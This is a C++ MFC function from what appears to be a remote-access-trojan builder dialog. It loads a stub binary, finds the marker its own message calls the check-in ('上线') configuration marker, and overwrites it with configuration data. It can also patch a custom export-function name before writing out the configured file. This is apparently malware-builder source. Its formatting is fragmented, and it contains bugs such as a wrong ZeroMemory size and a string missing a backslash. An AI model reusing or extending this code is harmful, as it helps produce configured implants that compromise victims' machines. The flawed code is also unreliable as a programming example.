BOOL
CBuildDlg::changedataandwritefile(CString path,
BOOL
bchangeexport)
{
TCHAR
DatPath[MAX_PATH] = { 0 };
GetModuleFileName(NULL, DatPath,
sizeof
(DatPath));
*_tcsrchr(DatPath, _T(
'\\'
)) =
'\0'
;
CString path_data;
path_data = DatPath;
path_data += path;
WIN32_FIND_DATA FindData;
HANDLE
hFile;
hFile = FindFirstFile(path_data, &FindData);
if
(hFile == INVALID_HANDLE_VALUE) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"文件不存在"
)); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)path_data.GetBuffer()); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"\r\n"
));
return
FALSE; }
FindClose(hFile);
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"读取文件"
)); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)path_data.GetBuffer()); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"\r\n"
));
hFile = CreateFile(path_data, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if
(hFile == INVALID_HANDLE_VALUE)
{
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"读取文件失败"
)); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)path_data.GetBuffer()); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"\r\n"
));
return
FALSE;
}
DWORD
len = GetFileSize(hFile, NULL);
char
* str =
new
char
[len];
ZeroMemory(str,
sizeof
(str));
DWORD
wr = 0;
ReadFile(hFile, str, len, &wr, NULL);
CloseHandle(hFile);
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"修改配置信息\r\n"
));
DWORD
dwOffset = -1;
dwOffset = memfind(str, _T(
"xiugaishiyong"
), len, 0);
if
(dwOffset == -1)
{
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"找不到上线配置标记 \r\n"
));
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)path_data.GetBuffer());
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"r\n"
));
SAFE_DELETE_AR(str);
return
FALSE;
}
DWORD
dwOffset_export = -1;
char
* exportnamebuf = NULL;
int
exportnamelen = 0;
if
(bchangeexport)
{
dwOffset_export = memfind(str,
"zidingyixiugaidaochuhanshu"
, len, 0);
exportnamelen = WideCharToMultiByte(CP_ACP, 0, m_edit_dll, -1, NULL, 0, NULL, NULL);
exportnamebuf =
new
char
[exportnamelen + 1];
WideCharToMultiByte(CP_ACP, 0, m_edit_dll, -1, exportnamebuf, exportnamelen, NULL, NULL);
if
((dwOffset_export == -1))
{
log_信息(
"找不到导出函数"
);
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"找不到导出函数zidingyixiugaidaochuhanshu标记\r\n"
));
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)path_data.GetBuffer());
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"r\n"
));
SAFE_DELETE_AR(exportnamebuf);
SAFE_DELETE_AR(str);
return
FALSE;
}
}
CFile file;
if
(file.Open(writepath, CFile::modeCreate | CFile::modeWrite | CFile::modeRead | CFile::typeBinary))
{
if
(dwOffset != -1)
memcpy
(str + dwOffset, (
char
*)&confi, lstrlen(confi) * 2 + 1);
if
(bchangeexport)
memcpy
(str + dwOffset_export, (
char
*)exportnamebuf, exportnamelen);
file.Write(str, len);
file.Close();
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"写出成功"
)); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)writepath); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"\r\n"
));
SAFE_DELETE_AR(str);
return
TRUE;
}
else
{
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"文件无法创建,查看是否占用\r\n"
));
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)writepath);
m_edit_tip.SendMessage(EM_REPLACESEL, 0, (
LPARAM
)_T(
"r\n"
));
SAFE_DELETE_AR(str);
return
FALSE;
}
}